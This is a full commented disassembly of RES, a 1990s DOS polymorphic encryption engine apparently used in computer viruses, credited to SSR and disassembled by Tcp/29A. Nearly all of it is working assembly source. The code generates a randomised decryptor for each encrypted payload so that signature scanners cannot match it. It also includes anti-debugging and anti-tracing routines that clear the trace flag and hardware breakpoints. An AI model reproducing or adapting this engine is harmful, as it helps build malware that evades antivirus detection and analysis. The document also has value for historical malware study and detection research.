; - -[RES.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; Random Encryption Synthezator (RES), by SSR
; Disasm by Tcp/29A (tcp@cryogen.com)
;
;
; Entry:
;  DS:DX = code
;  BX = runtime offset
;  CX = number of bytes to encrypt
; Return:
;  DS:DX = encryptor+code
;  CX = size encryptor+code


                .386p
                RES    segment use16
                assume cs:RES, ds:RES, es:RES, ss:RES
                org    0

RES_SIZE_DEC    equ     300h    ; But it only needs 169h

res_engine:
start:
		call    res_delta
res_delta:
		pop     si
                sub     si,3            ; Get delta-offset
		pop     ax
		push    cs
		push    ax
		push    es
		mov     ax,es
		sub     ax,10h
		mov     es,ax
		mov     di,100h
		push    cx
                mov     cx,offset(end_res)
		nop
		push    ds
		push    cs
		pop     ds
		cld
                rep     movsb           ; Copy RES code to working area
		pop     ds
		pop     cx
		mov     ax,offset(res_start+100h)
		push    es
		push    ax
                retf                    ; jmp res_start

res_start:
		pop     es
		mov     si,100h
		mov     ax,es
                add     ax,(end_res-start+15)/16+1
                mov     es,ax           ; Calculate base segment for decryptor
                mov     cs:[si+runtime_ofs],bx
                mov     cs:[si+code_length],cx
		push    cx
                mov     cx,RES_SIZE_DEC
		xor     di,di
		mov     al,90h          ; NOP
		cld     
		rep     stosb           ; Fill with NOPs
		call    init_masks
		mov     cx,8            ; 8 instructions per decryptor
		xor     di,di
		add     di,si
l_select_instructions:
		push    cx
		call    RES_get_random
		mov     ah,0
		push    cx
		mov     cl,5
		shr     al,cl           ; AX in [0..7]
		shl     ax,1
		shl     ax,1            ; AX:=AX*4 (4 bytes per instruction)
		pop     cx
		push    di
		push    si
		add     di,offset(buffer_decryptor)
		add     si,offset(decryptor_table)
		add     si,ax
		push    ax
                mov     ax,cs:[si]      ; Select an instruction for decryptor
                mov     cs:[di],ax      ; and store it
		mov     ax,cs:[si+2]
		mov     cs:[di+2],ax
		pop     ax
		pop     si
		pop     di
		push    di
		push    si
		add     di,offset(buffer_encryptor)
		add     si,offset(encryptor_table)
		add     si,ax
		push    ax
                mov     ax,cs:[si]      ; Select the instruction for encryptor
		mov     cs:[di],ax      ; and store it
		mov     ax,cs:[si+2]
		mov     cs:[di+2],ax
		pop     ax
		pop     si
		pop     di
		add     di,4
		pop     cx
                loop    l_select_instructions
                call    reverse_decryptor_table
                call    make_encryptor
		pop     cx
		push    cx
		mov     bp,dx
                mov     di,RES_SIZE_DEC
		mov     cs:[si+code_CRC],0
l_encrypt_code:
		mov     al,ds:[bp]
		mov     es:[di],al
		mov     ah,0
		add     cs:[si+code_CRC],ax     ; Make code CRC

encryptor       db      8*4 dup(90h)            ; Buffer for encryptor

                inc     di
		inc     bp
		loop    l_encrypt_code
		push    ds
		push    cs
		pop     ds
		xor     di,di
		push    si
                add     si,offset(decryptor_code)
                mov     cx,decrypted_code-decryptor_code
		nop     
		cld     
		rep     movsb           ; Copy decryptor to buffer
		pop     si
		pop     ds
		push    es
		pop     ds
                xor     dx,dx           ; DS:DX = Address of decryptor+code
		pop     cx
                add     cx,RES_SIZE_DEC ; Decryptor+encrypted code
		retf    

		db      0
		db      'RandomEncryptionSynthezator',0
		db      'ü S.S.R. 1996-97',0

init_masks:
		push    si
                mov     cx,3    ; Only first 3 instructions need a mask
l_next_mask:
		call    RES_get_random
                mov     byte ptr cs:[si+decryptor_table+3],al   ; Store mask
                mov     byte ptr cs:[si+encryptor_table+3],al
                add     si,4                                    ; Next inst.
		loop    l_next_mask
		pop     si
		ret     

RES_get_random:
		pushf   
		in      al,40h         ; Get random number
		ror     al,1
		xor     al,53h
		popf    
		ret     

make_encryptor:
		push    es
		push    ds
		push    cs
		pop     es
		push    cs
		pop     ds
		push    si
		in      al,40h          ; Get random number
		mov     cx,8
                mov     di,offset(encryptor)
		add     di,si
                add     si,offset(buffer_encryptor)
l_make_encryptor:
                rcr     al,1            ; Add instruction to encryptor?
		jc      add_instruction ; Yes? then jmp
		nop     
		nop     
		add     si,4
loop_make_encryptor:
                loop    l_make_encryptor
                jmp     encryptor_done
		nop     

add_instruction:
		cld     
		push    cx
		mov     cx,4
		rep     movsb           ; Store instruction
		pop     cx
                jmp     loop_make_encryptor

encryptor_done:
		pop     si
		pop     ds
		pop     es
		ret     

reverse_decryptor_table:
		push    ax
		push    bp
		push    di
		push    cx
		push    bx
                mov     cx,8/2
		mov     di,offset(buffer_decryptor)
		add     di,si
                mov     bp,offset(end_buffer_dec)-4     ; Point to last inst.
		add     bp,si
l_reverse_table:
                mov     ax,cs:[di]      ; Xchg instructions
		mov     bx,cs:[bp]
		mov     cs:[di],bx
		mov     cs:[bp],ax
		mov     ax,cs:[di+2]
		mov     bx,cs:[bp+2]
		mov     cs:[di+2],bx
		mov     cs:[bp+2],ax
                sub     bp,4            ; xchg next instruction
		add     di,4
                loop    l_reverse_table
		pop     bx
		pop     cx
		pop     di
		pop     bp
		pop     ax
		ret     

                db      4               ; Unused !!

decryptor_code:
runtime_ofs     equ     word ptr $+1
                mov     bp,0                    ; mov bp,runtime_ofs
                push    1100h+(90h+3Ch-20h)
                sub     bp,offset(decryptor_code)
                mov     di,offset(decryptor)
		add     di,bp
                pop     ax                      ; AX:=1100h+(90h+3Ch-20h)
                inc     cs:[bp+n_decryptors]    ; Inc # of tested decryptors
		mov     cs:[bp+decryptor_ok],0  ; Decryptor not found
		mov     cs:[bp+decrypting],0    ; Not decrypting
		mov     cx,20h
		push    es
		push    ds
		add     ax,cx
		push    cs
		pop     es
		push    cs
		pop     ds
		cld     
		dec     cx
		sub     al,3Ch                  ; AL:=90h (NOP)
		rep     stosb
		add     al,3Ch                  ; AL:=0CCh (int 3)
		stosb
                cmp     cs:[bp+n_decryptors],150 ; < 150 decryptors tested?
                jb      create_random_decryptor  ; Yes? then jmp
		nop     
		nop     
                mov     ax,cs:[bp+n_decryptors] ; Don't use a random number.
                                ; n_decryptors will be increased, so it'll
                                ; find the correct decryptor.
		jmp     create_decryptor
		nop     

                db      66h             ; Unused!? (antidebug??)

create_random_decryptor:
		in      al,40h          ; Get random number
create_decryptor:
                mov     cs:[bp+decryptor_id],al ; Why? Never use it!!
		mov     cx,8
                mov     si,offset(buffer_decryptor)
		add     si,bp
                mov     di,offset(decryptor)
		add     di,bp
l_make_random_decryptor:
		rcr     al,1            ; Add instruction to decryptor?
		jc      add_inst_dec    ; Yes? then jmp
		nop     
		nop     
		add     si,4
next_dec_instruction:
		loop    l_make_random_decryptor
		jmp     done_random_decryptor
		nop     

add_inst_dec:
		cld     
		push    cx
		mov     cx,4
		rep     movsb           ; Add instruction
		pop     cx
		jmp     next_dec_instruction

done_random_decryptor:
                mov     di,RES_SIZE_DEC
                add     di,cs:[bp+runtime_ofs]
code_length     equ     word ptr $+1
                mov     cx,0                    ; mov cx,code_length
                mov     bx,cs:[bp+code_CRC]
l_random_decryptor:
		mov     dl,cs:[di]

decryptor       db      8*4 dup(90h)

                mov     al,dl
		mov     ah,0
		sub     bx,ax                   ; Calculate CRC
		cmp     cs:[bp+decrypting],1    ; Decrypting?
		je      decrypt_byte            ; Yes? then jmp
		nop     
		nop     
loop_decryptor:
		inc     di
		loop    l_random_decryptor
		pop     ds
		pop     es
                cmp     bx,0                    ; CRC OK?
                jnz     decryptor_code          ; No? then jmp
                jmp     found_decryptor         ; Yes? then jmp
		nop     

buffer_decryptor db     8*4 dup(90h)
end_buffer_dec:

code_CRC        dw      0
decryptor_ok    db      0
decrypting      db      0
                db      0Bh     ; Unused!
                db      0Bh     ; Unused!
                db      0Bh     ; Unused!
decryptor_id    db      0                
n_decryptors    dw      0

decrypt_byte:
		mov     cs:[di],dl      ; Store decrypted byte
		jmp     loop_decryptor

found_decryptor:
		cmp     cs:[bp+decryptor_ok],1  ; Code decrypted?
		je      code_decrypted          ; Yes? then jmp
		nop     
		nop     
		mov     cs:[bp+decrypting],1
		mov     cs:[bp+decryptor_ok],1
		push    es
		push    ds
		jmp     done_random_decryptor   ; Decrypt code

code_decrypted:
		jmp     anti_disasm1
		nop     
                db      69h             ; Antidebug
anti_disasm1:
		cli
		push    3545h
		jmp     anti_disasm2
		nop
                db      0EAh            ; Antidebug
anti_disasm2:
		cli
		inc     sp
                mov     ax,cs:[bp]
		xor     ax,bx
		cld     
		scasb
		inc     sp
		mov     ax,4202h
		sub     sp,2
		pop     ax
                cmp     ax,3545h        ; Is it being traced?
                jne     decrypted_code  ; Yes? then jmp
                                        ; BUG! Should jump when not traced
		nop     
                nop
                xor     ax,3445h
		mov     es,ax
		inc     byte ptr cs:[0Dh]
		and     cx,0Fh
		rep     scasb
		xor     ax,cs:[si]
		pushf   
                pop     ax                      ; Get flags
                and     ah,0FEh                 ; Clear trace flag
		push    ax
		xchg    bx,cx
		les     bx,ds:[2Bh]
                popf                            ; Trace flag off
		xor     eax,eax
                mov     dr7,eax                 ; Clear all breakpoints
		dec     byte ptr cs:[0Dh]
                call    skip_reset
                db      0EAh    ; jmp far ptr 0F000h:0FFF0h (reset)
                dw      0FFF0h  ;  but never reach here because in 'skip_reset'
                dw      0F000h  ;  it does a pop of the return address

skip_reset:
		pop     ax
decrypted_code:                 ; End of decryptor code

encryptor_table:
		xor     byte ptr es:[di],0
		add     byte ptr es:[di],0
		sub     byte ptr es:[di],0
		nop     
		ror     byte ptr es:[di],1
		nop     
		rol     byte ptr es:[di],1
		nop     
		neg     byte ptr es:[di]
		nop     
		not     byte ptr es:[di]
		nop     
		neg     byte ptr es:[di]

decryptor_table:
		nop
		xor     dl,0
		nop     
		sub     dl,0
		nop     
		add     dl,0
		nop     
		nop     
		rol     dl,1
		nop     
		nop     
		ror     dl,1
		nop     
		nop     
		neg     dl
		nop     
		nop     
		not     dl
		nop     
		nop     
		neg     dl

buffer_encryptor db     8*4 dup(90h)

end_res:

RES             ends
public          res_engine
                end

; End of RES disasm
; (c) 1997, Tcp/29A (tcp@cryogen.com)
